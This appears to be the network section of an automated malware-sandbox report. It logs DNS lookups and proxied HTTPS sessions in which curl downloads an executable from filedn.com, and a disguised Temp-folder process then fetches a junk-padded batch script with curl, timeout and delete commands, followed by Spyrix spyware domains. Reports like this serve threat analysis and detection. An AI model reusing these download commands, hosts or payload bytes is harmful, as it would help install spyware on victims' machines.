Oct 2, 2024 06:11:49.926254988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.926254988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.927079916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.927103996 CEST	443	49723	167.114.14.168	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 06:11:21.067851067 CEST	192.168.2.8	1.1.1.1	0xe9b7	Standard query (0)	filedn.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:27.432090044 CEST	192.168.2.8	1.1.1.1	0xd84e	Standard query (0)	cdnbaynet.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:29.170994997 CEST	192.168.2.8	1.1.1.1	0x971a	Standard query (0)	swtb-download.spyrix-sfk.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:01.103286982 CEST	192.168.2.8	1.1.1.1	0xb462	Standard query (0)	dashboard.spyrix.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:01.103887081 CEST	192.168.2.8	1.1.1.1	0xde2	Standard query (0)	dashboard.spyrix.com	65	IN (0x0001)	false
Oct 2, 2024 06:13:01.584315062 CEST	192.168.2.8	1.1.1.1	0x3328	Standard query (0)	spyrix.net	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:01.956373930 CEST	192.168.2.8	1.1.1.1	0x9971	Standard query (0)	cdn.cdndownload.net	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:01.956505060 CEST	192.168.2.8	1.1.1.1	0xc218	Standard query (0)	cdn.cdndownload.net	65	IN (0x0001)	false
Oct 2, 2024 06:13:03.812613010 CEST	192.168.2.8	1.1.1.1	0x3d92	Standard query (0)	cdn.cdndownload.net	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:03.812613010 CEST	192.168.2.8	1.1.1.1	0x69b9	Standard query (0)	cdn.cdndownload.net	65	IN (0x0001)	false
Oct 2, 2024 06:13:04.590478897 CEST	192.168.2.8	1.1.1.1	0x59d3	Standard query (0)	dashboard.spyrix.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:04.590837002 CEST	192.168.2.8	1.1.1.1	0xadee	Standard query (0)	dashboard.spyrix.com	65	IN (0x0001)	false
Oct 2, 2024 06:13:05.002881050 CEST	192.168.2.8	1.1.1.1	0x394f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:05.003056049 CEST	192.168.2.8	1.1.1.1	0x65ac	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 2, 2024 06:13:17.410851955 CEST	192.168.2.8	1.1.1.1	0x943b	Standard query (0)	spyrix.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 06:11:21.084964991 CEST	1.1.1.1	192.168.2.8	0xe9b7	No error (0)	filedn.com		23.109.93.100	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:27.450464964 CEST	1.1.1.1	192.168.2.8	0xd84e	No error (0)	cdnbaynet.com		167.114.14.170	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:29.183881998 CEST	1.1.1.1	192.168.2.8	0x971a	No error (0)	swtb-download.spyrix-sfk.com		167.114.14.168	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:01.121334076 CEST	1.1.1.1	192.168.2.8	0xb462	No error (0)	dashboard.spyrix.com		158.69.117.119	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:01.616652966 CEST	1.1.1.1	192.168.2.8	0x3328	No error (0)	spyrix.net		158.69.117.119	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:02.000685930 CEST	1.1.1.1	192.168.2.8	0x9971	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:13:02.000685930 CEST	1.1.1.1	192.168.2.8	0x9971	No error (0)	cl-e0469d03.edgecdn.ru		95.181.182.182	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:02.009042978 CEST	1.1.1.1	192.168.2.8	0xc218	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:13:03.857724905 CEST	1.1.1.1	192.168.2.8	0x3d92	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:13:03.857724905 CEST	1.1.1.1	192.168.2.8	0x3d92	No error (0)	cl-e0469d03.edgecdn.ru		95.181.182.182	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:03.861890078 CEST	1.1.1.1	192.168.2.8	0x69b9	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:13:04.598570108 CEST	1.1.1.1	192.168.2.8	0x59d3	No error (0)	dashboard.spyrix.com		158.69.117.119	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:05.009505987 CEST	1.1.1.1	192.168.2.8	0x65ac	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 2, 2024 06:13:05.009541035 CEST	1.1.1.1	192.168.2.8	0x394f	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:13:17.447981119 CEST	1.1.1.1	192.168.2.8	0x943b	No error (0)	spyrix.net		158.69.117.119	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	23.109.93.100	443	7960	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:21 UTC	131	OUT	GET /lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404 HTTP/1.1 Host: filedn.com User-Agent: curl/7.83.1 Accept: /
2024-10-02 04:11:22 UTC	392	IN	HTTP/1.1 200 OK Server: CacheHTTPd v1.0 Date: Wed, 02 Oct 2024 04:11:21 +0000 Content-Type: application/octet-stream Content-Length: 90112 Etag: "b17ebb04ce423601b14b45f5c0fd1aa08175298c" Expires: Wed, 02 Oct 2024 10:11:13 +0000 Content-Disposition: attachment; filename="404" Accept-Ranges: bytes Content-Transfer-Encoding: binary Connection: keep-alive Keep-Alive: timeout=30
2024-10-02 04:11:22 UTC	4096	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 57 2d 3e fc 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 50 01 00 00 0e 00 00 00 00 00 00 22 6e 01 00 00 20 00 00 00 80 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELW->"0P"n @ `
2024-10-02 04:11:22 UTC	4096	IN	Data Raw: 01 00 01 00 81 00 10 00 96 08 7d 08 59 00 0b 00 07 00 01 00 10 00 87 08 7d 08 0c 00 10 00 0e 00 01 00 10 00 a5 08 7d 08 0c 00 11 00 14 00 00 00 10 00 ee 08 7d 08 59 00 11 00 18 00 80 01 10 00 d5 06 7d 08 59 00 11 00 1a 00 00 00 10 00 55 0a 7d 08 59 00 11 00 1b 00 00 00 10 00 c8 09 24 0a 59 00 14 00 1d 00 00 01 10 00 55 0a 24 0a a5 00 16 00 22 00 03 01 10 00 15 00 00 00 59 00 17 00 25 00 01 00 b8 08 2a 02 16 00 1c 09 2e 02 11 00 8c 0c 32 02 01 00 45 0b 36 02 01 00 05 0b 39 02 01 00 5a 00 3d 02 06 00 59 08 41 02 06 00 9b 0b 45 02 01 00 4d 00 45 02 01 00 6e 00 45 02 01 00 fb 00 49 02 01 00 69 03 50 02 04 00 9f 01 36 02 04 00 cb 08 36 02 04 00 e6 0b 36 02 01 00 42 09 57 02 36 00 c4 08 36 02 36 00 a6 0b 36 02 36 00 21 06 36 02 11 00 f0 06 5b 02 11 00 2c 03 60 Data Ascii: }Y}}}Y}YU}Y$YU$"Y%*.2E69Z=YAEMEnEIiP666BW66666!6[,`
2024-10-02 04:11:22 UTC	4096	IN	Data Raw: 6f 6c 6c 65 63 74 69 6f 6e 00 57 65 62 48 65 61 64 65 72 43 6f 6c 6c 65 63 74 69 6f 6e 00 73 65 74 5f 53 74 61 72 74 50 6f 73 69 74 69 6f 6e 00 46 6f 72 6d 53 74 61 72 74 50 6f 73 69 74 69 6f 6e 00 45 78 63 65 70 74 69 6f 6e 00 52 75 6e 00 46 69 6c 65 49 6e 66 6f 00 43 75 6c 74 75 72 65 49 6e 66 6f 00 67 65 74 5f 53 74 61 72 74 49 6e 66 6f 00 50 72 6f 63 65 73 73 53 74 61 72 74 49 6e 66 6f 00 44 69 72 65 63 74 6f 72 79 49 6e 66 6f 00 42 69 74 6d 61 70 00 73 65 74 5f 54 61 62 53 74 6f 70 00 50 72 6f 67 72 65 73 73 42 61 72 00 70 72 6f 67 72 65 73 73 42 61 72 00 53 74 72 65 61 6d 52 65 61 64 65 72 00 54 65 78 74 52 65 61 64 65 72 00 53 66 6b 4c 6f 61 64 65 72 00 46 69 6c 65 44 6f 77 6e 6c 6f 61 64 65 72 00 42 61 73 65 44 6f 77 6e 6c 6f 61 64 65 72 00 49 6e Data Ascii: ollectionWebHeaderCollectionset_StartPositionFormStartPositionExceptionRunFileInfoCultureInfoget_StartInfoProcessStartInfoDirectoryInfoBitmapset_TabStopProgressBarprogressBarStreamReaderTextReaderSfkLoaderFileDownloaderBaseDownloaderIn
2024-10-02 04:11:22 UTC	4096	IN	Data Raw: 42 00 77 00 62 00 31 00 37 00 4d 00 4a 00 41 00 35 00 49 00 38 00 49 00 7a 00 63 00 71 00 6d 00 4f 00 76 00 69 00 71 00 69 00 36 00 32 00 51 00 56 00 78 00 46 00 6a 00 5a 00 33 00 37 00 6f 00 4b 00 66 00 6e 00 69 00 50 00 69 00 46 00 6e 00 41 00 4f 00 6f 00 6b 00 6a 00 6a 00 32 00 46 00 65 00 77 00 75 00 42 00 65 00 53 00 52 00 45 00 33 00 4b 00 66 00 4a 00 48 00 69 00 6a 00 42 00 4a 00 55 00 37 00 54 00 78 00 48 00 58 00 6f 00 71 00 34 00 70 00 54 00 52 00 52 00 70 00 76 00 34 00 38 00 45 00 6c 00 49 00 36 00 4a 00 30 00 4f 00 69 00 6f 00 45 00 43 00 34 00 67 00 61 00 6e 00 6e 00 61 00 50 00 6b 00 69 00 51 00 58 00 59 00 47 00 54 00 69 00 6c 00 36 00 77 00 6c 00 65 00 73 00 4f 00 48 00 64 00 37 00 31 00 4d 00 4b 00 47 00 46 00 50 00 62 00 54 00 6d 00 75 Data Ascii: Bwb17MJA5I8IzcqmOviqi62QVxFjZ37oKfniPiFnAOokjj2FewuBeSRE3KfJHijBJU7TxHXoq4pTRRpv48ElI6J0OioEC4gannaPkiQXYGTil6wlesOHd71MKGFPbTmu
2024-10-02 04:11:22 UTC	4096	IN	Data Raw: a1 14 1e ce 5d 6a 07 15 98 5b 52 cc 8d 8e 51 b9 75 2e cd cd 70 1b 60 fc 8f 69 e6 8b a8 f3 4f 2e 41 8c 17 f0 b3 fc 77 2b 2d 64 3e a9 51 71 e7 ba 44 7b 6b 82 bd 23 c9 bb 17 ae 76 32 02 4b e5 49 b9 10 4f 4d e5 aa 70 40 0d 64 db 9e d9 36 ba d5 64 b6 db 87 33 21 76 fb 70 ba 0a 76 e9 80 87 f9 ec cd 09 f6 da 44 ef 9a 38 45 90 4b e6 75 5e 14 ed 77 cf 36 9f d5 99 27 b3 bb b8 f0 a1 4c 8f 5f 26 ae ff 25 dc 45 f7 c9 f6 d0 c9 f2 f8 2e 9e 77 1e 1f f0 3c a8 8b 63 bb 30 db 19 c2 77 3f dc 4c e4 be 2c d6 07 05 6c 25 f4 fe 26 a1 f8 e1 e6 d0 07 db b1 86 d0 07 1b 04 fc 47 db 0e c2 32 3e da 22 fb 00 cb 0f b6 1e f4 21 c7 3b ba 7d b8 01 fb 38 68 e4 e6 3f 87 5b 6a ec 48 cc e5 a3 1d 7f 0a f3 2f 8f 97 dd 04 5f 54 e1 98 df e4 20 e0 d8 47 72 24 dc 78 bc f7 2a fd 84 25 16 f7 e2 91 f0 Data Ascii: ]j[RQu.p`iO.Aw+-d>QqD{k#v2KIOMp@d6d3!vpvD8EKu^w6'L_&%E.w<c0w?L,l%&G2>"!;}8h?[jH/_T Gr$x*%
2024-10-02 04:11:22 UTC	4096	IN	Data Raw: b6 4f ba 91 7c bb 14 c8 dd 72 6c 9c 77 6f ba 16 49 ca 5b 66 a7 34 da ee d9 7e 77 37 f2 f5 8e 54 c2 83 c7 cf 41 09 e7 cf dd f3 92 7b 59 be 83 fc cb 5f fb 03 39 99 f6 15 71 f6 da 78 ff fa 44 8a 3c 9e 77 60 9e d2 60 46 2f 50 da 15 8c 8a b8 21 c9 dc 10 6f 42 e8 f0 cb 39 3b 8e 7f 6b a5 17 00 ee 91 d6 39 70 be 69 da 60 5e 2e 51 9b cc fd a9 5a 53 85 f0 00 7b 70 e6 05 73 bf 93 6f 5f c9 6b 3f 20 f7 2f 53 d7 99 7f 99 62 b4 3a d3 08 c1 24 d8 61 0d fe db 95 f6 ae 14 1f a4 f1 67 50 07 6f ac 41 f2 0d df 45 c1 dd 94 e4 61 08 f7 a7 aa cd f5 c1 2c fb 7e b5 ad 58 2e 05 17 ac 84 44 38 e7 6b c1 da ae 7b 5c 72 2f cb 77 90 7f f9 6b 7f bc fc e2 b9 f6 d2 b9 ea fa 02 ca 4b 62 24 bf 20 f3 37 4a d5 06 07 e7 8b f6 1d e1 5f ef 16 27 0d fd 73 ae c7 49 57 c6 fb 37 25 d8 5b dd a2 66 24 Data Ascii: O\|rlwoI[f4~w7TA{Y_9qxD<w``F/P!oB9;k9pi`^.QZS{pso_k? /Sb:$agPoAEa,~X.D8k{\r/wkKb$ 7J_'sIW7%[f$
2024-10-02 04:11:22 UTC	4096	IN	Data Raw: 67 66 98 51 e9 a6 b2 dd 6c da 7e e0 e7 03 7c 53 af 6d 3b 95 da c1 64 43 a2 cd 53 5f 71 7b 4e 8f 49 e6 8c 48 f1 34 8a fb cd 12 35 a3 fd 23 42 ed 30 c1 d6 95 7f 0a eb 24 b4 6b 2a 32 99 db 04 4d 43 0f 9d 30 4b ed ac 83 0a 6d ff 5c 2d 2c f1 51 95 20 07 69 e4 1b 3f 71 77 8a 36 49 85 cc 1f c8 d4 5c d4 ee e9 fb de ad f2 e5 a5 f7 14 fb 56 bc 49 af 33 cb 37 98 ff 18 e0 79 6d d9 61 aa 97 98 49 79 e6 c5 28 d9 f7 1e 4f 7d 40 8a 96 fa 8b d2 88 e4 b7 2a 7d f2 6a 7c fd a8 19 6a 75 07 75 32 b7 3f 46 68 b6 e9 ef a7 f8 bf 0b d3 8a 12 97 c5 5a 41 4e 2c 47 b5 45 34 d9 94 25 f6 ad 32 43 2c bf 2a 41 fb a9 68 b9 ee 54 ad e1 0a 99 cb c5 9d 97 3f 98 be e7 25 0f 60 79 3c dc be 3a 4f 3d 1c 2b 36 4a 19 fd c7 bc d4 9e b3 ce a6 d5 75 75 d7 1e 58 a7 07 f2 9e 99 f6 fd 05 3e 02 ed d4 d9 Data Ascii: gfQl~\|Sm;dCS_q{NIH45#B0$k2MC0Km\-,Q i?qw6I\VI37ymaIy(O}@}j\|juu2?FhZAN,GE4%2C,*AhT?%`y<:O=+6JuuX>
2024-10-02 04:11:22 UTC	4096	IN	Data Raw: 30 bb 64 1f f7 fe fd 8f 7c 6d de 6e c7 ec eb 10 84 ee 68 b7 70 6d 63 7d c4 54 35 ad 43 d5 b7 a5 f8 7f 15 de e6 b8 d9 c1 aa ae 6a 38 1f 58 64 5f 2b 53 2f e8 a5 31 9a aa d0 b5 1e 3b 5e 4e 86 76 fa 1c b9 38 4a 6f 78 85 f4 39 3c ef 52 73 ad fd 18 db 66 a7 35 d9 47 33 b4 cb 31 a5 4f ac ff c8 be 2e 65 f4 42 94 ed 58 df f5 c0 df bd ea 97 69 3b 8f 3d aa 68 2f cb 43 61 e6 c4 70 ad ce 4c aa f5 54 9e bd 23 c9 fb 6b b8 5b f1 6d 86 a8 fe 64 ad 19 a1 f5 42 8e 9f ae 86 d4 17 8a ed cb a5 de c3 19 6e 6f 95 d3 dd da 40 67 44 7a a0 7e 91 eb 56 79 be 48 83 e5 f8 15 28 fd c9 7c 9b b8 b0 73 6c 8d 79 d0 6d a7 e3 f2 34 d3 1b b9 b1 af 90 e3 e8 e9 df 44 73 c7 b7 f0 45 2d 90 2c ec 51 3f 7b 5f ee 99 64 0e 9f 22 77 ed 93 ed a3 b2 0f 0b 97 5b 1f 39 5d 48 23 d1 00 fe a4 19 e6 98 99 6a Data Ascii: 0d\|mnhpmc}T5Cj8Xd_+S/1;^Nv8Jox9<Rsf5G31O.eBXi;=h/CapLT#k[mdBno@gDz~VyH(\|slym4DsE-,Q?{_d"w[9]H#j
2024-10-02 04:11:22 UTC	4096	IN	Data Raw: cf d2 67 8a 56 03 2b 5a 68 b6 ed d3 40 4a c0 5e b9 d1 84 e5 99 7e d3 bf 8e b5 82 7b 4e 36 f7 cc f2 af 8d 35 57 cd 33 d4 30 31 91 6a 3f 73 8e c1 5f 29 f8 ee 63 d9 9a 2a 7a d4 34 9f 80 ad 0e 31 35 ce 08 7e de 9d af 3b 0b 88 50 22 c7 87 37 24 99 01 c5 6a 3e 21 ff 92 da 0f d7 69 87 45 c8 26 b0 92 a3 23 4c 08 99 fd 69 bd 1d 57 d7 09 81 83 f7 cd 49 ca d0 ee 4e d6 00 c8 a0 c3 b4 47 86 cf 25 f1 f2 c7 72 35 aa 95 42 16 3e a8 50 78 27 2c f2 f3 97 9a f7 aa 0c 3e 1d df 26 6e 8f 68 d2 4c 76 ca ab a5 fe d0 12 f3 6a b9 7d d3 e1 8d 11 bc 5a 06 ea 5e 58 9d 79 33 d9 3c 7a a0 5b 64 ff d7 82 9e 9f 92 6f 16 ad fe d7 dc 7d 67 a7 16 85 7a ed ab 69 4a fa 9f a5 47 b8 b9 37 4a b4 7a 4d bc b6 48 b9 34 c6 c3 d3 08 9a 24 4d e7 46 99 db 53 94 25 5d 14 ed a3 e3 4e 9c ee 66 95 3a d4 8f Data Ascii: gV+Zh@J^~{N65W301j?s_)c*z415~;P"7$j>!iE&#LiWING%r5B>Px',>&nhLvj}Z^Xy3<z[do}gziJG7JzMH4$MFS%]Nf:
2024-10-02 04:11:22 UTC	4096	IN	Data Raw: 95 ce c0 f3 c8 7e c2 79 30 16 19 17 c7 dd 2f d6 5e 38 ea 33 3d 2b 52 5b 5f 41 f5 fc 13 8f 3f 49 46 a0 71 e8 84 70 6c 02 6d 84 0f a3 10 a5 e7 5d b3 7c e8 cd 52 6f 4a 8b 9d da e4 91 68 e1 d6 58 19 24 43 51 23 be eb 40 d3 0c 34 e4 fa 7c 13 8c 77 1b 52 2c ff 9e d5 e2 a7 76 c8 b9 a5 c0 95 8c 09 42 70 25 e2 22 ca 78 30 6c 08 44 b9 5d 7c 14 5c 93 db 65 1f 3c 2a e7 8c a9 01 75 98 40 ee fb f1 02 cd 86 e1 77 90 7e 3c 18 8e 0e d5 c7 b7 db 45 1b ed 86 9d da e7 ae 68 a5 9b 12 fd fe 96 27 73 54 5f 48 fd 98 45 1e 60 73 9c b4 d8 a6 74 48 f6 27 2d 36 13 cb fc 41 51 fe 57 9a be f7 98 62 1e 9a 65 ee 4b d4 52 4a 88 1e d0 95 ec 75 8d 19 38 25 38 c1 e7 bf 9c 60 be f7 72 73 68 50 f1 f7 3f 31 09 ed 76 c5 36 3d 2c e0 dd 18 2f 81 02 33 15 ae f0 b9 6d 04 3c c1 11 e7 41 8e f5 cf 97 Data Ascii: ~y0/^83=+R[_A?IFqplm]\|RoJhX$CQ#@4\|wR,vBp%"x0lD]\|\e<*u@w~<Eh'sT_HE`stH'-6AQWbeKRJu8%8`rshP?1v6=,/3m<A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	23.109.93.100	443	8000	C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:24 UTC	109	OUT	GET /lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s6 HTTP/1.1 Host: filedn.com Connection: Keep-Alive
2024-10-02 04:11:24 UTC	391	IN	HTTP/1.1 200 OK Server: CacheHTTPd v1.0 Date: Wed, 02 Oct 2024 04:11:24 +0000 Content-Type: application/octet-stream Content-Length: 13199 Etag: "5e24a5c850697e23d575fab95a23a7ad0168e794" Expires: Wed, 02 Oct 2024 10:11:24 +0000 Content-Disposition: attachment; filename="s6" Accept-Ranges: bytes Content-Transfer-Encoding: binary Connection: keep-alive Keep-Alive: timeout=30
2024-10-02 04:11:24 UTC	4096	IN	Data Raw: 72 65 6d 20 35 6e 34 38 67 6f 7a 37 66 33 70 72 71 7a 37 34 33 67 35 72 38 30 73 75 39 74 6d 6c 74 36 63 76 75 30 71 6e 74 34 78 72 6c 36 78 63 62 61 63 72 35 35 6b 74 65 70 37 78 77 66 36 32 0d 0a 72 65 6d 20 74 33 61 6f 75 39 6f 6c 6b 76 79 30 77 6b 34 38 6a 30 71 69 61 6d 35 74 72 6f 31 72 62 66 63 33 69 68 0d 0a 40 65 63 68 6f 20 6f 66 66 0d 0a 72 65 6d 20 30 6a 65 71 74 7a 62 72 64 71 75 38 67 76 6c 6b 61 34 31 32 68 0d 0a 72 65 6d 20 68 62 74 39 6c 68 38 39 71 62 6b 64 75 64 39 79 67 79 78 6e 69 75 33 6d 66 6f 37 68 61 77 32 31 6c 36 68 75 74 68 38 79 70 6a 62 78 39 37 31 77 67 6e 67 39 6c 61 74 36 67 31 74 31 6e 34 6a 78 66 6c 30 74 35 74 66 7a 38 65 78 68 76 39 74 6b 30 77 74 6b 38 67 77 6b 6d 37 62 76 32 34 0d 0a 72 65 6d 20 63 71 31 35 63 7a 30 Data Ascii: rem 5n48goz7f3prqz743g5r80su9tmlt6cvu0qnt4xrl6xcbacr55ktep7xwf62rem t3aou9olkvy0wk48j0qiam5tro1rbfc3ih@echo offrem 0jeqtzbrdqu8gvlka412hrem hbt9lh89qbkdud9ygyxniu3mfo7haw21l6huth8ypjbx971wgng9lat6g1t1n4jxfl0t5tfz8exhv9tk0wtk8gwkm7bv24rem cq15cz0
2024-10-02 04:11:24 UTC	4096	IN	Data Raw: 32 78 33 71 70 6c 68 75 6c 7a 61 6c 73 39 73 77 64 78 7a 70 66 77 67 6f 39 73 73 37 70 30 32 77 76 77 70 37 31 32 69 78 70 73 74 72 6a 6e 61 6a 36 65 61 76 76 70 62 6f 64 37 79 63 79 67 70 32 79 65 69 78 68 32 65 0d 0a 72 65 6d 20 79 72 76 38 6e 39 7a 6b 70 7a 61 68 7a 70 38 34 74 6a 6f 74 6f 62 6c 34 61 38 63 71 6b 30 69 32 74 6e 6d 7a 62 75 7a 6f 61 65 6b 76 67 68 31 6e 0d 0a 72 65 6d 20 67 31 62 63 31 6c 67 78 6b 68 6b 31 61 38 7a 33 31 32 6a 71 31 62 30 74 7a 65 75 7a 74 39 37 6e 65 66 77 38 6e 76 32 6c 63 35 77 31 34 71 32 6a 79 70 36 30 35 6d 76 69 7a 76 35 31 63 63 6d 71 7a 6d 78 62 77 72 30 67 72 61 65 6b 76 63 74 75 74 73 7a 33 62 73 31 39 78 61 6d 31 7a 37 6f 6d 6f 39 74 6d 7a 61 63 71 36 6d 79 71 30 30 77 78 6e 65 33 6d 0d 0a 63 75 72 6c 2e 65 Data Ascii: 2x3qplhulzals9swdxzpfwgo9ss7p02wvwp712ixpstrjnaj6eavvpbod7ycygp2yeixh2erem yrv8n9zkpzahzp84tjotobl4a8cqk0i2tnmzbuzoaekvgh1nrem g1bc1lgxkhk1a8z312jq1b0tzeuzt97nefw8nv2lc5w14q2jyp605mvizv51ccmqzmxbwr0graekvctutsz3bs19xam1z7omo9tmzacq6myq00wxne3mcurl.e
2024-10-02 04:11:24 UTC	4096	IN	Data Raw: 65 74 67 65 74 75 34 65 64 6b 6b 71 69 6d 38 31 73 75 61 75 31 34 7a 68 36 6e 0d 0a 72 65 6d 20 39 79 64 63 37 62 6a 64 7a 63 77 67 79 78 34 38 33 33 61 67 71 69 68 6a 6f 62 6d 30 6b 35 78 31 6a 6e 71 68 6a 63 65 32 71 6e 76 65 78 31 6b 34 72 7a 63 61 6b 63 64 34 71 31 77 38 72 6b 6f 32 35 30 6e 0d 0a 74 69 6d 65 6f 75 74 20 31 30 0d 0a 72 65 6d 20 77 64 6a 74 6b 78 39 73 34 35 35 7a 34 69 30 62 6a 6d 78 38 74 76 75 69 37 37 31 36 33 64 79 39 38 76 30 62 75 33 67 6c 73 36 74 65 6f 33 7a 6d 67 74 7a 30 71 7a 75 6a 77 34 77 74 36 72 74 30 67 30 31 69 34 78 66 35 38 62 39 33 37 31 73 36 67 37 62 68 6f 65 37 30 76 61 30 61 35 62 76 39 36 7a 0d 0a 72 65 6d 20 71 72 73 71 62 64 31 68 6a 75 71 33 78 66 62 36 70 6d 75 37 72 67 0d 0a 72 65 6d 20 79 6b 36 38 34 78 Data Ascii: etgetu4edkkqim81suau14zh6nrem 9ydc7bjdzcwgyx4833agqihjobm0k5x1jnqhjce2qnvex1k4rzcakcd4q1w8rko250ntimeout 10rem wdjtkx9s455z4i0bjmx8tvui77163dy98v0bu3gls6teo3zmgtz0qzujw4wt6rt0g01i4xf58b9371s6g7bhoe70va0a5bv96zrem qrsqbd1hjuq3xfb6pmu7rgrem yk684x
2024-10-02 04:11:24 UTC	911	IN	Data Raw: 6d 31 78 6c 76 76 6f 7a 6d 38 33 77 75 62 79 77 62 32 79 70 33 73 64 6a 36 78 37 77 6f 73 6b 6a 67 35 78 64 65 66 37 71 63 6a 70 6f 35 6a 32 6d 35 71 77 72 66 37 64 6c 69 63 6d 35 31 68 74 32 79 78 61 68 67 70 35 30 32 70 76 39 74 6d 63 34 31 36 61 78 63 67 61 66 30 6b 78 30 68 6f 30 6a 76 79 37 61 68 6b 67 38 62 63 33 31 6a 73 35 72 30 68 79 0d 0a 72 65 6d 20 73 61 6a 61 6f 61 75 6c 64 7a 38 61 71 77 62 61 64 77 31 76 6e 6f 78 0d 0a 72 65 6d 20 31 79 30 76 76 68 6c 61 74 38 63 32 77 6d 37 61 7a 36 67 75 74 6e 6e 31 32 30 65 33 62 30 64 74 33 7a 6c 73 71 7a 34 0d 0a 64 65 6c 20 2f 71 20 2f 66 20 22 25 54 45 4d 50 25 5c 25 66 67 73 78 6f 70 25 5c 2a 2e 2a 22 0d 0a 72 65 6d 20 6d 70 73 37 66 73 6d 61 75 6f 74 64 69 73 6d 35 6a 77 79 76 6c 30 74 61 38 6c 38 Data Ascii: m1xlvvozm83wubywb2yp3sdj6x7woskjg5xdef7qcjpo5j2m5qwrf7dlicm51ht2yxahgp502pv9tmc416axcgaf0kx0ho0jvy7ahkg8bc31js5r0hyrem sajaoauldz8aqwbadw1vnoxrem 1y0vvhlat8c2wm7az6gutnn120e3b0dt3zlsqz4del /q /f "%TEMP%\%fgsxop%\."rem mps7fsmauotdism5jwyvl0ta8l8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XYT5nbVGers4f7G&MD=VVPG9a78 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-02 04:11:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 68d41d18-a394-47cd-89a6-036d1bc0ca1e MS-RequestId: 4f70cf49-6964-4096-83f8-d25a8851ca47 MS-CV: qu4q+KopDEyuq2h2.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 02 Oct 2024 04:11:26 GMT Connection: close Content-Length: 24490
